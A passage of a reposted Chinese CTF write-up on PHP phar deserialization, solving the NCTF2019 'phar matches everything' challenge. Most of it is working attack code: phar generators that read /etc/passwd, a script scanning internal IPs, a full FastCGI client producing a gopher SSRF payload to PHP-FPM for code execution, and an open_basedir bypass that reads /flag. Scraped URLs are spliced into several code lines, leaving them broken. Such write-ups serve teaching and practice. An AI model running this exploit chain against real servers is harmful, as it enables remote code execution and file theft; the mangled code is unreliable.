// 設定檔案屬性,添加反序列化內容,構造payload
$phar->setMetadata($o);
// 添加文本,這里的檔案名和內容無所謂
$phar->addFromString("test.txt","panda");
// 停止緩沖區輸入
$phar->stopBuffering();
?>
- 這里可以看到前一部分可以為檔案頭,偽造圖片檔案頭,但是必須以
__HALT_COMPILER();?>結尾,后面就是我們序列化的內容,

- 然后上傳我們的檔案,再帶著上傳檔案所得的路徑去請求
vul.php即可,如果不允許上傳phar檔案,那么將生成的檔案改成png這些都行

- 有時候檔案上傳僅僅是白名單,那么這就很難辦了,檔案上傳似乎是寫死了(沒有絕對安全的系統,等待大家去發現吧),這里可以將構造好的
phar檔案后綴更改,他依舊會決議,綜上所述,觸發漏洞就必須要以下幾點:1--有一個反序列化利用鏈,2--檔案名可控(正則匹配或者可繞過),3--能夠上傳檔案,并獲得檔案路徑, - 如果不能允許開頭則
phar字符還有其他的方式,后面還有Mysql讀取Phar造成的反序列化,但是需要更改mysql組態檔不常用,
compress.zlib://phar://phar.phar
compress.bzip2://phar://phar.phar
php://filter/read=convert.base64-encode/resource=phar://panda.png

NCTF2019 phar matches everything
- BUU NCTF2019 phar matches everything,由于環境問題,只好自己去
Github下載原始碼--Github,主要有以下兩個檔案,
// catchmime.php
<?php
class Easytest{
protected $test;
public function funny_get(){
return $this->test;
}
}
class Main {
public $url;
public function curl($url){
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$output=curl_exec($ch);
curl_close($ch);
return $output;
}
public function __destruct(){
$this_is_a_easy_test=unserialize($_GET['careful']);
if($this_is_a_easy_test->funny_get() === '1'){
echo $this->curl($this->url);
}
}
}
if(isset($_POST["submit"])) {
$check = getimagesize($_POST['name']);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
} else {
echo "File is not an image.";
}
}
?>
// upload.php
<?php
$target_dir = "uploads/";
$uploadOk = 1;
$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));
$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;
$target_file=$target_dir.$file_name;
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg" ) {
echo "Sorry, only jpg,png,gif,jpeg are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file $file_name has been uploaded to ./uploads/";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
catchmime.php有兩個類EsayTest,Main.第一個類沒啥看的暫且按下不表,Main這個類的curl方法可以看出到沒對$url引數做限制,如果引數可控那么可能造成SSRF和任意檔案讀取.第二個為魔術方法,其中呼叫了Main類的curl方法,但是前提為funny_get方法的回傳值為1.這里的funy_get方法來自第一個類,然后又有反序列化,且引數可控,因此將第一個類的$test值設為1即可,就可呼叫Main類的curl方法,那么接下來就找呼叫了Main類的觸發就Ok了,看了題目的功能點就是上傳檔案,和一個檢查檔案型別,結合題目就想到Phar反序列化,那么就不用unserialize()函式就可以觸發反序列化了,觸發了Main類那么就可以造成上面分析的兩種漏洞,發現getimagesize函式的引數我們可控,這個函式本身也是屬于IO操作,于是可以觸發Phar反序列化,upload.php,上傳檔案名不可控,為MD5的隨機時間戳截取前10位,白名單限制檔案上傳為['jpg','png','gif','jpeg']其中的一種,上傳shell幾乎是不可能了,這里也許也有Phar反序列化,但是由于名字這些引數不可控,那么沒辦法了,就只有前面的漏洞了,
POC 檔案讀取
-
有了上面的分析,我們就用
file://協議先構造任意檔案讀取吧<?php class Easytest{ protected $test = '1'; } class Main{ public $url = 'file:///etc/passwd'; } // 因為$test 的屬性問題需要url編碼 echo urlencode(serialize(new Easytest())); @unlink("phar.png"); $phar = new Phar("phar.png"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>"); $phar->setMetadata(new Main()); $phar->addFromString("Panda.txt","I am Panda"); $phar->stopBuffering(); //O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D -
然后將生成的
Phar檔案后綴改成其中白名單的一種,上傳后訪問即可,有個坑谷歌瀏覽器hackbar對submit引數的提交不得行,火狐瀏覽器就OK,或者Burp就歐克了,火狐Hackbar

- 讀取
/etc/hosts/并不會發現內網IP地址,因此需要讀/proc/net/arp/,發現內網地址為10.0.255.1,但是這并不是需要攻擊的IP地址,根據上面改寫了個兩個腳本來判斷需要攻擊的內網地址,第一個則是生成Phar檔案,第二個則是將檔案上傳并訪問看回傳資料大小,最終發現內網IP不止一個?最后根據別人做題發現是PHP-fpm那個界面,IP為10.0.255.11,
<?php
\\ D:\\phpstudy\\www\\EXP\poc.php
class Easytest{
protected $test = '1';
}
// 因為$test 的屬性問題需要url編碼
echo urlencode(serialize(new Easytest()));
class Main{
public $url = 'http://10.0.255.';
}
$temp = new Main();
for($num = 1;$num<256;$num++){
$temp->url = $temp->url.(string)$num;
echo $temp->url.PHP_EOL;
print_r($temp);
$phar = new Phar($num.".phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");
$phar->setMetadata($temp);
$phar->addFromString("Panda.txt", "I am Panda");
$phar->stopBuffering();
$temp->url = 'http://10.0.255.';
}
import requests
import time
import re
import os
url = 'http://b284968d-4bbd-491e-8e35-45d7e6f37b18.node3.buuoj.cn'
def Upload(name):
PATH = 'D:\\phpStudy\\www\\EXP\\'
if os.path.exists(PATH+name):
os.rename(PATH+name,PATH+name.split('.')[0]+'.png')
files = {'fileToUpload': ('phar.png',open(PATH+name.split('.')[0]+'.png','rb'))}
response = requests.post(url=url+'/upload.php', files=files)
filename = re.findall("file (.*?.png)",response.text)[0]
if filename:
return filename
def req(name):
data = https://www.cnblogs.com/Pan3a/p/{"submit":"1",
"name":"phar://uploads/{}"
}
data["name"] = data["name"].format(Upload(name))
headers = {'Content-Type' : 'application/x-www-form-urlencoded', }
res = requests.post(url+'/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D', data=https://www.cnblogs.com/Pan3a/p/data, headers=headers)
print(name.split('.')[0]+" "*20+str(len(res.text)))
for num in range(1,256):
req(str(num) + '.phar')
time.sleep(1)
Python輸出展示,
1 264
2 264
3 264
4 266
5 5835
6 8099
7 4891
8 264
9 1825
10 264
11 287
12 264
SSRF PHP-FPM
- 接下來就是用腳本打
PHP-fpm了,PHITHON,X1ct34m
import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = https://www.cnblogs.com/Pan3a/p/8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) /
+ bchr(fcgi_type) /
+ bchr((requestid >> 8) & 0xFF) /
+ bchr(requestid & 0xFF) /
+ bchr((length >> 8) & 0xFF) /
+ bchr(length & 0xFF) /
+ bchr(0) /
+ bchr(0) /
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = https://www.cnblogs.com/Pan3a/p/force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def gopher(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = https://www.cnblogs.com/Pan3a/p/force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
return request
def __waitForResponse(self, requestId):
data = https://www.cnblogs.com/Pan3a/p/b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = https://www.cnblogs.com/Pan3a/p/BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
parser.add_argument('-e', '--ext', help='ext absolute path', default='')
parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(args.code),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
if args.ext and args.include_file:
#params['PHP_ADMIN_VALUE']='extension = '+args.ext
params['PHP_ADMIN_VALUE']="extension_dir = /var/www/html\nextension = ant.so"
params['PHP_VALUE']='auto_prepend_file = '+args.include_file
if not args.url_format and not args.base64_format :
response = client.request(params, args.code)
print(force_text(response))
else:
response = client.gopher(params, args.code)
if args.url_format:
print(urllib.quote(response))
if args.base64_format:
print(base64.b64encode(response))
# python2 exp.py 10.0.255.11 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00
<?php
class Easytest{
protected $test = '1';
}
// 因為$test 的屬性問題需要url編碼
echo urlencode(serialize(new Easytest()));
class Main{
public $url = 'gopher://10.0.255.11:9000/_%01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00';
}
@unlink("phar.png");
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetadata(new Main());
$phar->addFromString("Panda.txt","I am Panda");
$phar->stopBuffering();
- 訪問看到
PHPINFO,但是很多函式被禁止了,并且目錄限制僅/var/www/html/tmp.因此需要繞過,alias.
<?php mkdir('/tmp/panda');chdir('/tmp/panda');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>
- 再一次腳本構造
SSRF,最終得Flag.

PHP 原生類
LCTF2018
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/280170.html
標籤:其他
